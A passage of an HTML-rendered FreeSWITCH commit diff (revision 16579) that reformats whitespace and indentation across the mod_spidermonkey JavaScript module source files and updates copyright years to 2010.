</ins><span class="cx">                 if (*p == '-') {
</span><span class="cx">                         *p = '_';
</span><span class="cx">                 }
</span><del>-        }        
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         JS_ResumeRequest(cb_state-&gt;cx, cb_state-&gt;saveDepth);
</span><span class="cx">         METHOD_SANITY_CHECK();
</span><span class="lines">@@ -1151,7 +1151,7 @@
</span><span class="cx">         case SWITCH_INPUT_TYPE_DTMF:
</span><span class="cx">                 {
</span><span class="cx">                         switch_dtmf_t *dtmf = (switch_dtmf_t *) input;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (dtmf) {
</span><span class="cx">                                 if ((Event = new_js_dtmf(dtmf, var_name, cb_state-&gt;cx, cb_state-&gt;obj))) {
</span><span class="cx">                                         argv[argc++] = STRING_TO_JSVAL(JS_NewStringCopyZ(cb_state-&gt;cx, &quot;dtmf&quot;));
</span><span class="lines">@@ -1175,7 +1175,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         status = SWITCH_STATUS_SUCCESS;
</span><del>-done:
</del><ins>+  done:
</ins><span class="cx">         cb_state-&gt;saveDepth = JS_SuspendRequest(cb_state-&gt;cx);
</span><span class="cx">         jss-&gt;stack_depth--;
</span><span class="cx">         return status;
</span><span class="lines">@@ -1450,7 +1450,7 @@
</span><span class="cx">         args.input_callback = dtmf_func;
</span><span class="cx">         args.buf = bp;
</span><span class="cx">         args.buflen = len;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_ivr_record_file(jss-&gt;session, &amp;fh, file_name, &amp;args, limit);
</span><span class="cx">         JS_ResumeRequest(cx, cb_state.saveDepth);
</span><span class="cx">         check_hangup_hook(jss, &amp;ret);
</span><span class="lines">@@ -1594,7 +1594,7 @@
</span><span class="cx">         return ret;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static jsval check_hangup_hook(struct js_session *jss, jsval *rp)
</del><ins>+static jsval check_hangup_hook(struct js_session *jss, jsval * rp)
</ins><span class="cx"> {
</span><span class="cx">         jsval argv[3] = { 0 };
</span><span class="cx">         int argc = 0;
</span><span class="lines">@@ -1753,7 +1753,7 @@
</span><span class="cx">         int32 ms = 0;
</span><span class="cx">         jsval ret = JS_TRUE;
</span><span class="cx">         int32 sync = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         METHOD_SANITY_CHECK();
</span><span class="cx">         channel = switch_core_session_get_channel(jss-&gt;session);
</span><span class="cx">         CHANNEL_SANITY_CHECK();
</span><span class="lines">@@ -2123,7 +2123,9 @@
</span><span class="cx"> {
</span><span class="cx">         struct js_session *jss = JS_GetPrivate(cx, obj);
</span><span class="cx"> 
</span><del>-        *rval = BOOLEAN_TO_JSVAL((jss &amp;&amp; jss-&gt;session &amp;&amp; switch_channel_test_flag(switch_core_session_get_channel(jss-&gt;session), CF_ANSWERED)) ? JS_TRUE : JS_FALSE);
</del><ins>+        *rval =
+                BOOLEAN_TO_JSVAL((jss &amp;&amp; jss-&gt;session
+                                                  &amp;&amp; switch_channel_test_flag(switch_core_session_get_channel(jss-&gt;session), CF_ANSWERED)) ? JS_TRUE : JS_FALSE);
</ins><span class="cx"> 
</span><span class="cx">         return JS_TRUE;
</span><span class="cx"> }
</span><span class="lines">@@ -2186,7 +2188,7 @@
</span><span class="cx">         int32 timeout = 60000;
</span><span class="cx">         jsrefcount saveDepth;
</span><span class="cx">         jsval ret = JS_TRUE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         METHOD_SANITY_CHECK();
</span><span class="cx">         channel = switch_core_session_get_channel(jss-&gt;session);
</span><span class="cx"> 
</span><span class="lines">@@ -2200,8 +2202,8 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (check_hangup_hook(jss, NULL) != JS_TRUE) {
</span><del>-        return JS_FALSE;
-    }
</del><ins>+                return JS_FALSE;
+        }
</ins><span class="cx"> 
</span><span class="cx">         saveDepth = JS_SuspendRequest(cx);
</span><span class="cx">         for (;;) {
</span><span class="lines">@@ -2245,7 +2247,7 @@
</span><span class="cx">                                 cause = switch_channel_str2cause(cause_name);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (cause) {
</span><span class="cx">                         channel = switch_core_session_get_channel(session);
</span><span class="cx">                         switch_channel_hangup(channel, cause);
</span><span class="lines">@@ -2289,7 +2291,7 @@
</span><span class="cx">                                 if (check_hangup_hook(jss, NULL) != JS_TRUE) {
</span><span class="cx">                                         return JS_FALSE;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 saveDepth = JS_SuspendRequest(cx);
</span><span class="cx">                                 switch_core_session_exec(jss-&gt;session, application_interface, app_arg);
</span><span class="cx">                                 JS_ResumeRequest(cx, saveDepth);
</span><span class="lines">@@ -2826,7 +2828,7 @@
</span><span class="cx"> {
</span><span class="cx">         struct js_session *jss = NULL;
</span><span class="cx">         JSObject *session_obj = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         jss = malloc(sizeof(*jss));
</span><span class="cx">         switch_assert(jss);
</span><span class="cx">         memset(jss, 0, sizeof(*jss));
</span><span class="lines">@@ -2835,7 +2837,7 @@
</span><span class="cx">         JS_SetPrivate(cx, obj, jss);
</span><span class="cx"> 
</span><span class="cx">         *rval = BOOLEAN_TO_JSVAL(JS_FALSE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc &gt; 0) {
</span><span class="cx">                 char *uuid = JS_GetStringBytes(JS_ValueToString(cx, argv[0]));
</span><span class="cx"> 
</span><span class="lines">@@ -2851,7 +2853,7 @@
</span><span class="cx">                                         old_jss = JS_GetPrivate(cx, session_obj);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        if (switch_ivr_originate(old_jss ? old_jss-&gt;session : NULL, 
</del><ins>+                        if (switch_ivr_originate(old_jss ? old_jss-&gt;session : NULL,
</ins><span class="cx">                                                                          &amp;jss-&gt;session, &amp;jss-&gt;cause, uuid, 60, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_set_flag(jss, S_HUP);
</span><span class="cx">                                 switch_channel_set_state(switch_core_session_get_channel(jss-&gt;session), CS_SOFT_EXECUTE);
</span><span class="lines">@@ -2948,18 +2950,18 @@
</span><span class="cx">                 if (JS_ValueToObject(cx, argv[0], &amp;session_obj)) {
</span><span class="cx">                         struct js_session *old_jss = NULL;
</span><span class="cx">                         if (session_obj &amp;&amp; (old_jss = JS_GetPrivate(cx, session_obj))) {
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (old_jss == jss) {
</span><span class="cx">                                         eval_some_js(&quot;~throw new Error(\&quot;Supplied a_leg session is the same as our session\&quot;);&quot;, cx, obj, rval);
</span><span class="cx">                                         return JS_FALSE;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 };
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!old_jss-&gt;session) {
</span><span class="cx">                                         eval_some_js(&quot;~throw new Error(\&quot;Supplied a_leg session is not initilaized!\&quot;);&quot;, cx, obj, rval);
</span><span class="cx">                                         return JS_FALSE;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 session = old_jss-&gt;session;
</span><span class="cx">                                 orig_caller_profile = switch_channel_get_caller_profile(switch_core_session_get_channel(session));
</span><span class="cx">                                 dialplan = orig_caller_profile-&gt;dialplan;
</span><span class="lines">@@ -3013,7 +3015,8 @@
</span><span class="cx">                 caller_profile = switch_caller_profile_new(pool, username, dialplan, cid_name, cid_num, network_addr, ani, aniii, rdnis, modname, context, dest);
</span><span class="cx"> 
</span><span class="cx">                 saveDepth = JS_SuspendRequest(cx);
</span><del>-                status = switch_ivr_originate(session, &amp;peer_session, &amp;jss-&gt;cause, dest, to ? atoi(to) : 60, NULL, NULL, NULL, caller_profile, NULL, SOF_NONE, NULL);
</del><ins>+                status =
+                        switch_ivr_originate(session, &amp;peer_session, &amp;jss-&gt;cause, dest, to ? atoi(to) : 60, NULL, NULL, NULL, caller_profile, NULL, SOF_NONE, NULL);
</ins><span class="cx">                 JS_ResumeRequest(cx, saveDepth);
</span><span class="cx"> 
</span><span class="cx">                 if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -3374,7 +3377,7 @@
</span><span class="cx"> 
</span><span class="cx">         if (argc &gt; 0) {
</span><span class="cx">                 JS_ValueToInt32(cx, argv[0], &amp;msec);
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         if (msec) {
</span><span class="cx">                 switch_yield(msec * 1000);
</span><span class="lines">@@ -3437,7 +3440,7 @@
</span><span class="cx">                 SWITCH_STANDARD_STREAM(stream);
</span><span class="cx">                 switch_api_execute(cmd, arg, session, &amp;stream);
</span><span class="cx"> 
</span><del>-                *rval = STRING_TO_JSVAL(JS_NewStringCopyZ(cx, switch_str_nil((char *)stream.data)));
</del><ins>+                *rval = STRING_TO_JSVAL(JS_NewStringCopyZ(cx, switch_str_nil((char *) stream.data)));
</ins><span class="cx">                 switch_safe_free(stream.data);
</span><span class="cx"> 
</span><span class="cx">         } else {
</span><span class="lines">@@ -3597,7 +3600,7 @@
</span><span class="cx">         struct js_session *jss;
</span><span class="cx">         JSContext *cx = NULL;
</span><span class="cx">         jsval rval;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(input_code)) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -3624,7 +3627,7 @@
</span><span class="cx"> 
</span><span class="cx">         script = input_code;
</span><span class="cx"> 
</span><del>-        if (*script != '~') {        
</del><ins>+        if (*script != '~') {
</ins><span class="cx">                 if ((arg = strchr(script, ' '))) {
</span><span class="cx">                         *arg++ = '\0';
</span><span class="cx">                         argc = switch_separate_string(arg, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="lines">@@ -3771,7 +3774,7 @@
</span><span class="cx"> {
</span><span class="cx">         // this causes a crash
</span><span class="cx">         //JS_DestroyRuntime(globals.rt);
</span><del>-        
</del><ins>+
</ins><span class="cx">         curl_global_cleanup();
</span><span class="cx"> 
</span><span class="cx">         switch_core_hash_destroy(&amp;module_manager.mod_hash);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkeyh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -150,7 +150,7 @@
</span><span class="cx">         struct js_session_speech *speech;
</span><span class="cx"> };
</span><span class="cx"> 
</span><del>-JSBool DEFAULT_SET_PROPERTY(JSContext * cx, JSObject *obj, jsval id, jsval *vp)
</del><ins>+JSBool DEFAULT_SET_PROPERTY(JSContext * cx, JSObject * obj, jsval id, jsval * vp)
</ins><span class="cx"> {
</span><span class="cx">         eval_some_js(&quot;~throw new Error(\&quot;this property cannot be changed!\&quot;);&quot;, cx, obj, vp);
</span><span class="cx">         return JS_FALSE;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_core_dbc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_core_db.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_core_db.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_core_db.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -190,10 +190,10 @@
</span><span class="cx">                                 break;
</span><span class="cx">                         } else if (result == SWITCH_CORE_DB_BUSY) {
</span><span class="cx">                                 running++;
</span><del>-                                switch_cond_next(); /* wait a bit before retrying */
</del><ins>+                                switch_cond_next();        /* wait a bit before retrying */
</ins><span class="cx">                                 continue;
</span><del>-                        } 
-                        if (switch_core_db_finalize(dbo-&gt;stmt) != SWITCH_CORE_DB_OK) {        
</del><ins>+                        }
+                        if (switch_core_db_finalize(dbo-&gt;stmt) != SWITCH_CORE_DB_OK) {
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error %s\n&quot;, switch_core_db_errmsg(dbo-&gt;db));
</span><span class="cx">                         }
</span><span class="cx">                         dbo-&gt;stmt = NULL;
</span><span class="lines">@@ -209,7 +209,7 @@
</span><span class="cx"> */
</span><span class="cx"> static JSBool db_next(JSContext * cx, JSObject * obj, uintN argc, jsval * argv, jsval * rval)
</span><span class="cx"> {
</span><del>-    /* return true until no more rows available */
</del><ins>+        /* return true until no more rows available */
</ins><span class="cx">         return db_step_ex(cx, obj, argc, argv, rval, SWITCH_CORE_DB_ROW);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -218,7 +218,7 @@
</span><span class="cx"> */
</span><span class="cx"> static JSBool db_step(JSContext * cx, JSObject * obj, uintN argc, jsval * argv, jsval * rval)
</span><span class="cx"> {
</span><del>-    /* return true when the statement has finished executing successfully */
</del><ins>+        /* return true when the statement has finished executing successfully */
</ins><span class="cx">         return db_step_ex(cx, obj, argc, argv, rval, SWITCH_CORE_DB_DONE);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -242,7 +242,7 @@
</span><span class="cx">         for (x = 0; x &lt; colcount; x++) {
</span><span class="cx">                 const char *var = (char *) switch_core_db_column_name(dbo-&gt;stmt, x);
</span><span class="cx">                 const char *val = (char *) switch_core_db_column_text(dbo-&gt;stmt, x);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (var &amp;&amp; val) {
</span><span class="cx">                         switch_snprintf(code, sizeof(code), &quot;~_dB_RoW_DaTa_[\&quot;%s\&quot;] = \&quot;%s\&quot;&quot;, var, val);
</span><span class="cx">                         eval_some_js(code, dbo-&gt;cx, dbo-&gt;obj, rval);
</span><span class="lines">@@ -289,7 +289,7 @@
</span><span class="cx">         struct db_obj *dbo = JS_GetPrivate(cx, obj);
</span><span class="cx">         JSBool status;
</span><span class="cx">         int32 param_index = -1;
</span><del>-    char *param_value = NULL;
</del><ins>+        char *param_value = NULL;
</ins><span class="cx"> 
</span><span class="cx">         *rval = BOOLEAN_TO_JSVAL(JS_FALSE);
</span><span class="cx"> 
</span><span class="lines">@@ -297,26 +297,26 @@
</span><span class="cx">                 return JS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-    /* db_prepare() must be called first */
</del><ins>+        /* db_prepare() must be called first */
</ins><span class="cx">         if (!dbo-&gt;stmt) {
</span><span class="cx">                 return JS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* argv[0] = parameter index
</span><del>-       argv[1] = parameter value
-     */
</del><ins>+           argv[1] = parameter value
+         */
</ins><span class="cx">         if (argc &lt; 2) {
</span><span class="cx">                 return JS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         /* convert args */
</span><del>-        status = JS_ValueToECMAUint32(cx, argv[0], (uint32*)&amp;param_index);
</del><ins>+        status = JS_ValueToECMAUint32(cx, argv[0], (uint32 *) &amp; param_index);
</ins><span class="cx">         switch_assert(status == JS_TRUE);
</span><del>-    param_value = JS_GetStringBytes(JS_ValueToString(cx, argv[1]));
</del><ins>+        param_value = JS_GetStringBytes(JS_ValueToString(cx, argv[1]));
</ins><span class="cx">         if ((param_index &lt; 1) || (NULL == param_value)) {
</span><del>-                return  JS_FALSE;
</del><ins>+                return JS_FALSE;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* bind param */
</span><span class="lines">@@ -343,26 +343,26 @@
</span><span class="cx">                 return JS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-    /* db_prepare() must be called first */
</del><ins>+        /* db_prepare() must be called first */
</ins><span class="cx">         if (!dbo-&gt;stmt) {
</span><span class="cx">                 return JS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* argv[0] = parameter index
</span><del>-       argv[1] = parameter value
-     */
</del><ins>+           argv[1] = parameter value
+         */
</ins><span class="cx">         if (argc &lt; 2) {
</span><span class="cx">                 return JS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* convert args */
</span><del>-        status = JS_ValueToECMAUint32(cx, argv[0], (uint32*)&amp;param_index);
</del><ins>+        status = JS_ValueToECMAUint32(cx, argv[0], (uint32 *) &amp; param_index);
</ins><span class="cx">         switch_assert(status == JS_TRUE);
</span><del>-        status = JS_ValueToECMAUint32(cx, argv[1], (uint32*)&amp;param_value);
</del><ins>+        status = JS_ValueToECMAUint32(cx, argv[1], (uint32 *) &amp; param_value);
</ins><span class="cx">         switch_assert(status == JS_TRUE);
</span><span class="cx"> 
</span><del>-        if (param_index &lt; 1)  {
-                return  JS_FALSE;
</del><ins>+        if (param_index &lt; 1) {
+                return JS_FALSE;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* bind param */
</span><span class="lines">@@ -456,7 +456,7 @@
</span><span class="cx">         /*.next */ NULL
</span><span class="cx"> };
</span><span class="cx"> 
</span><del>-SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
</del><ins>+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
</ins><span class="cx"> {
</span><span class="cx">         *module_interface = &amp;DB_module_interface;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_curlc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_curl.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_curl.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_curl.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -128,8 +128,8 @@
</span><span class="cx">                 curl_easy_setopt(co-&gt;curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
</span><span class="cx">                 curl_easy_setopt(co-&gt;curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if (argc &gt; 2) {
</span><span class="cx">                 data = JS_GetStringBytes(JS_ValueToString(cx, argv[2]));
</span><span class="cx">         }
</span><span class="lines">@@ -240,7 +240,7 @@
</span><span class="cx">         /*.next */ NULL
</span><span class="cx"> };
</span><span class="cx"> 
</span><del>-SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
</del><ins>+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
</ins><span class="cx"> {
</span><span class="cx">         curl_global_init(CURL_GLOBAL_ALL);
</span><span class="cx">         *module_interface = &amp;curl_module_interface;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_odbcc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_odbc.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_odbc.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_odbc.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -86,7 +86,7 @@
</span><span class="cx">         return switch_odbc_handle_connect(obj-&gt;handle);
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static void destroy_odbc_obj(odbc_obj_t **objp)
</del><ins>+static void destroy_odbc_obj(odbc_obj_t ** objp)
</ins><span class="cx"> {
</span><span class="cx">         odbc_obj_t *obj = *objp;
</span><span class="cx">         if (obj == NULL)
</span><span class="lines">@@ -271,7 +271,7 @@
</span><span class="cx"> {
</span><span class="cx">         odbc_obj_t *odbc_obj = (odbc_obj_t *) JS_GetPrivate(cx, obj);
</span><span class="cx">         SQLLEN row_count = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!odbc_obj || switch_odbc_handle_get_state(odbc_obj-&gt;handle) != SWITCH_ODBC_STATE_CONNECTED) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Database is not connected!\n&quot;);
</span><span class="cx">                 goto done;
</span><span class="lines">@@ -401,7 +401,7 @@
</span><span class="cx">                         return JS_TRUE;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                if ( SQLNumResultCols( odbc_obj-&gt;stmt, &amp;nColumns ) != SQL_SUCCESS )
</del><ins>+                if (SQLNumResultCols(odbc_obj-&gt;stmt, &amp;nColumns) != SQL_SUCCESS)
</ins><span class="cx">                         return JS_FALSE;
</span><span class="cx"> 
</span><span class="cx">                 for (x = 1; x &lt;= nColumns; x++) {
</span><span class="lines">@@ -431,8 +431,8 @@
</span><span class="cx"> 
</span><span class="cx">                 JS_GetProperty(cx, obj, &quot;_oDbC_dB_RoW_DaTa_&quot;, rval);
</span><span class="cx">                 return JS_TRUE;
</span><del>-                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">   done:
</span><span class="lines">@@ -466,7 +466,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_odbc_handle_disconnect(odbc_obj-&gt;handle);
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         return JS_TRUE;
</span><span class="cx"> }
</span><span class="lines">@@ -543,7 +543,7 @@
</span><span class="cx">         /*.next */ NULL
</span><span class="cx"> };
</span><span class="cx"> 
</span><del>-SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
</del><ins>+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
</ins><span class="cx"> {
</span><span class="cx">         *module_interface = &amp;odbc_module_interface;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_skelc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_skel.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_skel.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_skel.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -93,7 +93,7 @@
</span><span class="cx">         /*.next */ NULL
</span><span class="cx"> };
</span><span class="cx"> 
</span><del>-SWITCH_MOD_DECLARE(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
</del><ins>+SWITCH_MOD_DECLARE(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
</ins><span class="cx"> {
</span><span class="cx">         *module_interface = &amp;skel_module_interface;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_socketc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_socket.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_socket.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_socket.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -324,7 +324,7 @@
</span><span class="cx">         /*.next */ NULL
</span><span class="cx"> };
</span><span class="cx"> 
</span><del>-SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
</del><ins>+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
</ins><span class="cx"> {
</span><span class="cx">         *module_interface = &amp;socket_module_interface;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_teletonec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_teletone.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_teletone.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_teletone.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -80,7 +80,7 @@
</span><span class="cx">         struct js_session *jss = NULL;
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         char *timer_name = NULL;
</span><del>-    switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -109,15 +109,14 @@
</span><span class="cx">                 return JS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-    switch_core_session_get_read_impl(jss-&gt;session, &amp;read_impl);
</del><ins>+        switch_core_session_get_read_impl(jss-&gt;session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx">         if (switch_core_codec_init(&amp;tto-&gt;codec,
</span><span class="cx">                                                            &quot;L16&quot;,
</span><span class="cx">                                                            NULL,
</span><span class="cx">                                                            read_impl.actual_samples_per_second,
</span><span class="cx">                                                            read_impl.microseconds_per_packet / 1000,
</span><del>-                                                           read_impl.number_of_channels,
-                                                           SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, pool) == SWITCH_STATUS_SUCCESS) {
